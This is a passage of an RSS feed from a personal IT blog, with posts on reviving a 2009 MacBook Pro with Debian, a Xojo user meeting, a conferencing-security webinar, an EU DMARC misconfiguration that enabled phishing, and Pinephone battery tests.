&lt;p>For instance, there is &amp;ldquo;Rethinking Our World&amp;rdquo; by Maja Göpel or &amp;ldquo;The Circle&amp;rdquo; by Dave Eggers, whose movie adaptation with Emma Watson and Tom Hanks I have already seen, but always wanted to read in addition. There&amp;rsquo;s also Remote C3 between Christmas and New Year&amp;rsquo;s Eve.&lt;/p>
&lt;p>I would also like to mention my special offers &lt;a href="https://blog.jakobs.systems/blog/20201202-weihnachtsaktion/">Data Protection and Digital Sovereignty for Associations&lt;/a> and my &lt;a href="https://blog.jakobs.systems/blog/20201103-managed-server/">Managed Server Offer&lt;/a> until the end of the year.&lt;/p>
&lt;p>We&amp;rsquo;ll take a cup o&amp;rsquo;kindness yet, for Auld Lang Syne&lt;/p>
&lt;p>Yours Tomas Jakobs&lt;/p></content></item><item><title>Revive a Macbook Pro with Debian - Part I</title><link>https://blog.jakobs.systems/en/blog/20201218-mac-to-linux/</link><pubDate>Fri, 18 Dec 2020 00:05:56 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20201218-mac-to-linux/</guid><description>How to revive an Mid-2009 Macbook Pro with Linux</description><category>Apple</category><category>Obsolescence</category><category>Linux</category><category>Debian</category><category>Migration</category><category>Opensource</category><content>&lt;h1 id="rescue-ops-before-christmas-eve">Rescue-Ops before Christmas Eve&lt;/h1>
&lt;p>What is the worst-case scenario right before Christmas during a Corona Lockdown? Let&amp;rsquo;s leave zombie apocalypses, too little toilet paper or slow internet connections aside for a moment. Right! A broken laptop.&lt;/p>
&lt;p>Exactly such a call for help came to me this afternoon from my own circle of friends. I was asked if I had a spare notebook available shortly. Coincidentally, yes. An old mid-2009 Macbook Pro 13&amp;quot; has been hanging around in the corner for years. Too valuable to be thrown away, technically perfectly okay, but unfortunately no longer supported by Apple. There she is again, the planned obsolescence&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>.&lt;/p>
&lt;h2 id="where-do-we-come-from">Where do we come from&lt;/h2>
&lt;p>The technical specifications are quite solid and it doesn&amp;rsquo;t need to hide behind current consumer devices:&lt;/p>
&lt;ul>
&lt;li>8 GB DDR3 RAM&lt;/li>
&lt;li>Nvidia 9400M GT graphics&lt;/li>
&lt;li>1 TB SSD&lt;/li>
&lt;li>webcam, SD card reader and 3.5 mm headphone/mic input&lt;/li>
&lt;li>WLAN + Ethernet without adapter&lt;/li>
&lt;li>Illuminated keyboard&lt;/li>
&lt;li>64Bit Intel Core2 CPU with 2.26 Ghz with 2 cores&lt;/li>
&lt;/ul>
&lt;p>Of course the CPU is clearly the weakest spot in the list. However, it is still sufficient for office tasks, for surfing the internet or for enjoyable DVD evenings on the couch in lockdown conditions. Besides details such as the discreet battery power indicator and the white, glowing, stand-by light, the internal slot-in &amp;ldquo;SuperDrive&amp;rdquo; DVD is worth mentioning. In stark contrast to current Macbooks, the 58 Wh battery is not glued down in the enclosure and can be easily replaced&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>. And with just 40 Euros the replacement battery is half the price of the one that recently kept me busy&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>. Well as soon as I have my unit back I will replace the battery there too. It currently lasts about 1.5 hours, which is no comparison to the 6-7 hours it once lasted in its first life.&lt;/p>
&lt;p>Of course, macOS is no longer an option. The last system supported by Apple is macOS 10.11 &amp;ldquo;El Capitan&amp;rdquo;&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>, last updated in 2018. No one should be on internet with this anymore. Of course it will be a current Debian Linux &amp;ldquo;Buster&amp;rdquo;&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> with a modern GNOME3 interface&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>The requirements from the users&amp;rsquo; perspective:&lt;/p>
&lt;ul>
&lt;li>easy-to-use standard desktop without clutter&lt;/li>
&lt;li>playback of DVDs, music and video files&lt;/li>
&lt;li>up-to-date Libre Office&lt;/li>
&lt;li>access to SMB shares in the local network or remotely via openVPN&lt;/li>
&lt;li>current Mozilla Firefox with uBlock-Origin&lt;/li>
&lt;/ul>
&lt;p>This is the guideline I am using for selecting packages and software. The aim is to keep the Linux system as simple and consistent as possible. It is precisely the clutter of many applications for one purpose that tends to scare off the typical Windows or Mac user. I hope that the person considered with this replacement device will experience Linux in a positive fasion. &amp;ldquo;If you can operate a smartphone, you can manage a Linux desktop&amp;rdquo; is what I am always saying.&lt;/p>
&lt;p>Since I have not really installed a Linux on a Mac before I do expect some unrecognised hardware. So I&amp;rsquo;ve chosen the &amp;ldquo;unofficial&amp;rdquo; Debian non-free firmware&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> as installation image and created an EFI-bootable USB stick out of the 4 GB amd64 DVD-ISO&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> in /current. Well this might be not be pure Debians&amp;rsquo; philosophy, but it works and represents an acceptable compromise between the stability and longevity of a Debian and the support of a wide range of hardware.&lt;/p>
&lt;p>Before I forget to mention a short disclaimer: The Mac partition will be deleted in the course of this tutorial. I assume that there is no important data left on the device.&lt;/p>
&lt;h2 id="installation-debian-buster">Installation Debian Buster&lt;/h2>
&lt;p>The boot Menu on a Mac is accessed by simultaneously pressing the Select-Key and Power-On switch. After the start-up chime please select &amp;ldquo;EFI boot&amp;rdquo; from the USB drive. The familiar Debian boot menu then appears.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/macbook-linux2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/macbook-linux2.webp#c" alt="The UEFI boot menu" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>I&amp;rsquo;ve tried both, the graphical and the text-oriented installer and recommend the second. In the graphical one the touchpad is not recognised and so you have to use tab and cursor keys to navigate through the options.&lt;/p>
&lt;p>An Ethernet cable should be connected during the installation process due to the fact that the Broadcom WLAN module is not recognised. I could have supplied the driver in the form of another USB stick but since I have a special installation sequence anyway, I decided to install everything afterwards.&lt;/p>
&lt;p>Since we don&amp;rsquo;t have a server here and a sufficiently dimensioned SSD I&amp;rsquo;ve used the assisted partition on one disk.&lt;/p>
&lt;p>Much more important is a clutter-free Debian. Therefore do not select any Desktop Enviroment in the selection of features. The only checkmark should be set on &amp;ldquo;Standard System Utilities&amp;rdquo; when prompted to.&lt;/p>
&lt;p>After the installation, the Mac boots into a new operating system. At first, deliberately into the console without any graphical user interface. The process continues with root. All subsequent commands can either be entered or loaded as a script from my server with wget (&lt;a href="https://blog.jakobs.systems/img/macbook-linux.sh">Click here for the direct Link&lt;/a>):&lt;/p>
&lt;pre tabindex="0">&lt;code># wget https://blog.jakobs.systems/img/macbook-linux.sh
&lt;/code>&lt;/pre>&lt;p>After downloading and&amp;hellip;&lt;/p>
&lt;pre tabindex="0">&lt;code># chmod +x macbook-linux.sh
&lt;/code>&lt;/pre>&lt;p>&amp;hellip;the script can be started. But first let&amp;rsquo;s see what it does:&lt;/p>
&lt;h3 id="gnome-without-clutter">GNOME without Clutter&lt;/h3>
&lt;p>With the following line we get a minimal Gnome with the most important standard applications:&lt;/p>
&lt;pre tabindex="0">&lt;code># apt install file-roller bijiben gthumb seahorse gnome-core gnome-clocks gnome-calendar gnome-calculator gnome-characters gnome-sound-recorder gnome-screenshot gnome-dictionary flatpak gnome-software-plugin-flatpak gnome-todo gnome-maps network-manager-openvpn-gnome system-config-printer ffmpeg cups printer-driver-all simple-scan foomatic-db gnupg hunspell-de-de vlc firefox-esr-l10n-de webext-ublock-origin cifs-utils gnome-power-manager laptop-mode-tools -y
&lt;/code>&lt;/pre>&lt;h3 id="broadcom-wifi-driver">Broadcom Wifi Driver&lt;/h3>
&lt;p>The built-in wifi module in my Mid-2009 MacbookPro 13&amp;quot; requires a proprietary Broadcom B43 driver. We download this together with the package fwcutter via wget straight from the Debian server. If you have a different Mac, please check first which module Apple has installed. Macbook Pro devices before the year 2009 for instance use an Atheros chipset&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup>.&lt;/p>
&lt;pre tabindex="0">&lt;code># wget http://ftp.de.debian.org/debian/pool/contrib/b/b43-fwcutter/firmware-b43-installer_019-4+deb10u1_all.deb &amp;amp;&amp;amp; wget http://ftp.de.debian.org/debian/pool/contrib/b/b43-fwcutter/b43-fwcutter_019-4+deb10u1_amd64.deb &amp;amp;&amp;amp; dpkg -i *.deb
&lt;/code>&lt;/pre>&lt;h3 id="current-libreoffice">Current Libreoffice&lt;/h3>
&lt;p>The Debian software repositories always lag behind the current version numbers of the applications. This is due to the rather conservative and stability-oriented selection which I appreciate. Nevertheless, I would like to use the latest release of certain desktop apps. That&amp;rsquo;s why we don&amp;rsquo;t get Libreoffice from the standard repositiory but instead via flatpak:&lt;/p>
&lt;pre tabindex="0">&lt;code># flatpak remote-add flathub https://dl.flathub.org/repo/flathub.flatpakrepo &amp;amp;&amp;amp; flatpak install flathub org.libreoffice.LibreOffice -y
&lt;/code>&lt;/pre>&lt;h2 id="wrapping-up">Wrapping up&lt;/h2>
&lt;p>Last but not least, we remove unneeded programme packages such as the Chromium browser, which should not be used from the Debian Default Repositories. End users are also unlikely to come into contact with vim. A cleaned interfaces file should not be missing in order to get the wifi work:&lt;/p>
&lt;pre tabindex="0">&lt;code># apt purge chromium xterm vim -y &amp;amp;&amp;amp; apt autoremove -y &amp;amp;&amp;amp; mv /etc/network/interfaces /etc/network/interfaces.backup &amp;amp;&amp;amp; echo &amp;#34;source /etc/network/interfaces.d/*&amp;#34; &amp;gt;&amp;gt; /etc/network/interfaces &amp;amp;&amp;amp; echo &amp;#34;auto lo&amp;#34; &amp;gt;&amp;gt; /etc/network/interfaces &amp;amp;&amp;amp; echo &amp;#34;iface lo inet loopback&amp;#34; &amp;gt;&amp;gt; /etc/network/interfaces
&lt;/code>&lt;/pre>&lt;p>A final reboot follows, this time into the graphical user interface and the user specified during the basic installation. After logging in, you can now customize your GNOME Desktop, connect to a Nextcloud, add printers and SMB shares or import an openVPN profile to connect to a remote network.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/macbook-linux1.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/macbook-linux1.webp#c" alt="Macbook Pro with Debian Linux" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>As far as I am concerned, all hardware components are recognised perfectly. I was able to conduct a BBB video conference call without any problems using the internal iSight webcam and microphone. One thing I find very pleasant about the Apple hardware: The buttons for dimming the display and the keyboard backlight seems to be controlled directly via the ROM Firmware independently of the operating system ontop. In any case, the overlay is exactly the same as on a macOS.&lt;/p>
&lt;p>The 11-year-old Macbook Pro is awakening to a second life. Surely it will last a few more years. I wonder why I didn&amp;rsquo;t find the time to install a Linux on it until today.&lt;/p>
&lt;p>Stay Healthy and keep distance,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Geplante_Obsoleszenz">https://de.wikipedia.org/wiki/Geplante_Obsoleszenz&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://de.ifixit.com/Anleitung/blabla/1332">https://de.ifixit.com/Anleitung/blabla/1332&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20201212-mac-battery/">https://blog.jakobs.systems/blog/20201212-mac-battery/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/OS_X_El_Capitan">https://de.wikipedia.org/wiki/OS_X_El_Capitan&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://www.debian.org/">https://www.debian.org/&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://www.gnome.org/">https://www.gnome.org/&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://cdimage.debian.org/images/unofficial/non-free/images-including-firmware/">https://cdimage.debian.org/images/unofficial/non-free/images-including-firmware/&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>🚫 &lt;a href="https://cdimage.debian.org/images/unofficial/non-free/images-including-firmware/current/amd64/iso-dvd/">https://cdimage.debian.org/images/unofficial/non-free/images-including-firmware/current/amd64/iso-dvd/&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://wiki.debian.org/MacBook/Wireless">https://wiki.debian.org/MacBook/Wireless&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Xojo User Meeting 11.12.2020, 1800 LT</title><link>https://blog.jakobs.systems/en/micro/20201204-xojo-user-meeting/</link><pubDate>Fri, 04 Dec 2020 08:05:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20201204-xojo-user-meeting/</guid><description/><category>Webinar</category><category>XOJO</category><category>Meeting</category><content>&lt;p>Last XOJO User Meeting (in german) this year is scheduled on upcoming Friday, 11th 2020 at 1800 LT.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Topics&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>New Xojo Version since out last Meeting&lt;/li>
&lt;li>Apple Silicon and Xojo&lt;/li>
&lt;li>Lookback and Outlook for the next year&lt;/li>
&lt;/ul>
&lt;/blockquote>
&lt;p>Of course everything as rough orientation. Anybody with an interesting project or topic is invited to join and give a presentation.
Duration of the Meeting: approx 45-60 Min followed by smalltalk with open end, Chatham House Rule applies.&lt;/p>
&lt;p>Link to Conference-room: &lt;a href="https://meet.jakobs.systems/b/tom-kks-v5k-xka">https://meet.jakobs.systems/b/tom-kks-v5k-xka&lt;/a>&lt;/p>
&lt;p>&lt;del>The passwort will be published here and in XOJO Forum couple of hours short of the Meeting.&lt;/del>&lt;/p>
&lt;p>Passwort: 864186&lt;/p>
&lt;p>You are welcome.
and don&amp;rsquo;t forget: Don&amp;rsquo;t eat yellow snow&amp;hellip;&lt;/p>
&lt;p>See you!&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/DontEatYellowSnow.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/DontEatYellowSnow.webp#c" alt="Dont Eat Yellow Snow" loading="lazy"/>&lt;/picture>
&lt;/p></content></item><item><title>Webinar: Security of Conferencing Software</title><link>https://blog.jakobs.systems/en/micro/20201130-webinar-videoconferencing/</link><pubDate>Mon, 30 Nov 2020 12:27:10 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20201130-webinar-videoconferencing/</guid><description/><category>Webinar</category><category>DiginetSWF</category><category>Security</category><category>Conferencing Software</category><content>&lt;p>Tomorrow I will give a short presentation for the DigiNet Südwestfalen&lt;/p>
&lt;blockquote>
&lt;p>December, 1st 2020, 08:30 am on my Conferencing-Server&lt;br>
Topic: &amp;ldquo;Security of Conferencing Software&amp;rdquo;&lt;/p>
&lt;/blockquote>
&lt;p>giving Stakeholders and Decision-Makers Orientation for risk-assesment. This is a non-public event. Please register via &lt;a href="https://transferverbund-sw.de/events/digitales-fruehstueck-des-diginet_swf/">Sonja Pfaff on the DiginetSWF Website&lt;/a>.&lt;/p>
&lt;h4 id="about-diginet-südwestfalen">About DigiNet Südwestfalen:&lt;/h4>
&lt;p>In early 2019, the &lt;a href="https://transferverbund-sw.de/">Transferverbund Südwestfalen&lt;/a> started to track down service providers and networks active in the field of digitalization in South Westphalia as part of the NRW.Innovationspartner funding project and to connect them into an open network. The aim is to get to know each other, but also to increase visibility in the region so that companies can find the right solution partner more quickly or young talents can find their suitable employer.&lt;/p>
&lt;h4 id="about-tomas-jakobs">About Tomas Jakobs:&lt;/h4>
&lt;p>Born in 1975 in Plana, Czech Republic he grew up in the Siegerland and studied at the University of Siegen. During his course of studies in 1998 he started his self-employment with individual software development and consulting. Until 2004 he was active with a lectureship at the bbz professional training centre of the Chambers of Industry and Commerce Siegen and the TÜV Academy Rhineland. As specialist in digital called when standard solutions and concepts fail. Profound project experience for more than two decades with references ranging from the German Second Television to well-known corporations and medium-sized companies to small shops and GP’s offices. In his work, he has migrated companies from closed, proprietary to open and free technologies, helping them to boost competitiveness while reducing IT spending.&lt;/p></content></item><item><title>Phishing and Spam</title><link>https://blog.jakobs.systems/en/blog/20201127-eu-telekom-phishing/</link><pubDate>Fri, 27 Nov 2020 17:40:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20201127-eu-telekom-phishing/</guid><description>Thoughts on Phishing and Spam</description><category>Concepts</category><category>EU</category><category>Mailserver</category><category>Security</category><category>Phishing</category><content>&lt;p>Within just a few days, the German EU Representation warns people about phishing emails.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> This is the 4th warning regarding data theft since July 2020&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> by Reinhard Hönighaus, press spokesman and head of the press and media office. Obviously there is an urgent need for action.&lt;/p>
&lt;p>In his current warning dated 26.11.2020, only two days after the previous one, he identifies T-Online users as targeted by phishing mails and also provides the explanation:&lt;/p>
&lt;blockquote>
&lt;p>Like some other providers, the recipient infrastructure behind @t-online.de does not perform SPF checks.&lt;/p>
&lt;/blockquote>
&lt;p>This is not surprising that mass hosters configure their mail servers laxly. Ultimately, even the digitally inexperienced should be able to receive e-mails in uncharted territory, in &amp;ldquo;Neuland&amp;rdquo; we used to say here in Germany.&lt;/p>
&lt;p>Sender Policy Framework&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> is a security feature and must be configured by mail server operators. However, it is not a miracle cure by itself. Only a combination with further security features standardised in RFCs such as DMARC&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>, MTA-STS&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>, TLS-RPT&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> or DANE&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> prevents phishing mails. Looking at the mail server behind the email address of Reinhard Hönighaus, I start to wonder: Who is really the one to blame here?&lt;/p>
&lt;p>Let&amp;rsquo;s just skip the crude construction of the mail cluster of ec.europa.eu, where not hostnames of the same name are used like mail.europa.eu but instead servers like mxa-00244802.gslb.pphosted.com. At first glance there is no obvious connection to Europe. If the DNS wouldn&amp;rsquo;t tell me any better, I&amp;rsquo;d consider the host as spam slingshot. In reality it&amp;rsquo;s the domain of the US company Proofpoint, which sells email security. Well let&amp;rsquo;s also have both eyes closed regarding the TLS configuration errors the Hardenize scanners see: No Forward Secrecy, TLS 1.0/1.1 and SSL3. At least for some servers identified by the scanner in the EU mailcluster. From the outside it is impossible to tell which one without further tests.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/eu-hardenize.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/eu-hardenize.webp#c" alt="Hardenize Scanner" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Apropos Scanner: The well-known SSL-Labs online test tool is actively blocked. Transparency is different.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/eu-ssllabs.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/eu-ssllabs.webp#c" alt="SSL Labs Scanner" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>However, the most serious problem is the faulty DMARC policy in the DNS in _dmarc.ec.europa.eu&lt;/p>
&lt;pre tabindex="0">&lt;code>_dmarc.ec.europa.eu. 900 TXT v=DMARC1; p=none;
rua=mailto:dmarcreports@ec.europa.eu; fo=s; adkim=s; aspf=s; sp=none
&lt;/code>&lt;/pre>&lt;p>Formally and syntactically correct, effectively completely meaningless if not set to &amp;ldquo;reject&amp;rdquo;. Every mail server receiving an email with a fake europa.eu sender may recognise it as a phishing email correctly, but because of this DMARC entry it will still forward it.&lt;/p>
&lt;p>&lt;strong>The misconfiguration on the EU side makes phishing in fact possible.&lt;/strong>&lt;/p>
&lt;p>Reinhard Hönighaus was obviously poorly or not entirely informed by his IT department. At least in a statement of the article sent to him in advance he replies:&lt;/p>
&lt;blockquote>
&lt;p>My IT colleagues are indeed taking the incident as an opportunity to review our DMARC policy and develop it further if necessary. (&amp;hellip;) It was important to me that T-Online customers are warned. I am not blaming anyone, I just note that I am currently receiving calls from T-Online users every minute.&lt;/p>
&lt;/blockquote>
&lt;p>In a joint phone conversation he mentioned a figure of over 9,000 from mostly T-Online users. In the meantime, the T-Online portal is specifically addressing T-Online customers.&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> This fiasco could have been avoided for the involved ones and for himself with properly configured servers and some expertise. We will see if and how this will be addressed in the future.&lt;/p>
&lt;p>But another consideration is still haunting me: Why is it quite normal for the actors to disclose personal data and economic figures for Corona Aid in non encrypted form? Looking at the contact page&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup> of the German EU Representation, I do not see any confidential and encrypted communication channel via PGP or S/MIME email.&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>🚫 &lt;a href="https://ec.europa.eu/germany/news/20201126-warnung-angebliche-eu-coronahilfen-t-online_de">https://ec.europa.eu/germany/news/20201126-warnung-angebliche-eu-coronahilfen-t-online_de&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://ec.europa.eu/germany/news/20200721-warnhinweis-phishing_de">https://ec.europa.eu/germany/news/20200721-warnhinweis-phishing_de&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Sender_Policy_Framework">https://de.wikipedia.org/wiki/Sender_Policy_Framework&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/DMARC">https://de.wikipedia.org/wiki/DMARC&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/STARTTLS#MTA-STS">https://de.wikipedia.org/wiki/STARTTLS#MTA-STS&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/STARTTLS#SMTP_TLS_Reporting">https://de.wikipedia.org/wiki/STARTTLS#SMTP_TLS_Reporting&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/DNS-based_Authentication_of_Named_Entities">https://de.wikipedia.org/wiki/DNS-based_Authentication_of_Named_Entities&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://www.t-online.de/digital/sicherheit/id_89020180/blabla.html">https://www.t-online.de/digital/sicherheit/id_89020180/blabla.html&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>🚫 &lt;a href="https://ec.europa.eu/germany/about-us/contact_de">https://ec.europa.eu/germany/about-us/contact_de&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Linux Smartphone Project - Part III</title><link>https://blog.jakobs.systems/en/blog/20201124-linux-pinephone-battery/</link><pubDate>Tue, 24 Nov 2020 23:15:30 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20201124-linux-pinephone-battery/</guid><description>Journey to a privacy-friendly smartphone</description><category>Pinephone</category><category>Linux</category><category>Debian</category><category>Migration</category><category>Opensource</category><content>&lt;h1 id="battery">Battery&lt;/h1>
&lt;p>Today I will report a brief description of the battery and power management of Mobian on a Pinephone.&lt;/p>
&lt;p>Reading the battery parameters from the console was already quite special. The usual way with upower was not successful and provided only zero values. Without ACPI the readout only worked with:&lt;/p>
&lt;pre tabindex="0">&lt;code># cat /sys/class/power_supply/axp20x-battery/uevent
&lt;/code>&lt;/pre>&lt;p>My first measurements: At idle with active mobile network, BT and WLAN and 50% display brightness the power consumption is about 2.5 to 3W. At 100% display brightness it jumps up to 3.5 to 4W each time without any apps in the background. From the desktop perspective this may not sound bad, but in fact it is.&lt;/p>
&lt;h2 id="iphone-vs-pinephone">iPhone vs. Pinephone&lt;/h2>
&lt;p>To get a hands-on impression of the power management I made up the following challenge between my old Apple iPhone7 (current iOS 14.2) and the Pinephone with Mobian. At&amp;hellip;&lt;/p>
&lt;ul>
&lt;li>50% Battery Status&lt;/li>
&lt;li>100% Display-Brightness&lt;/li>
&lt;li>100% Audio-Volume&lt;/li>
&lt;li>all radios turned on&lt;/li>
&lt;li>no apps running in the background&lt;/li>
&lt;/ul>
&lt;p>&amp;hellip;I have taken the time it takes for a device to reach 40%. After exactly 16 minutes the Pinephone broke this limit, while the iPhone still lingered around 47%. The result was expected, but clearly shows how optimisation and a certain product maturity can affect a system.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-challenge.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-challenge.webp#c" alt="Challenge" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>The WLAN/BT module with its RTL8723CS chip always needs the internal battery - even with external power supply. This is not explained in the very good Wiki&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>. But a quick look at the construction plans&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> revealed the explanation: The module gets its energy directly from the battery, bypassing the X-Power AXP803.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-wifibt.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-wifibt.webp#c" alt="Power-Tree Pinephone" loading="lazy"/>&lt;/picture>
&lt;/p>
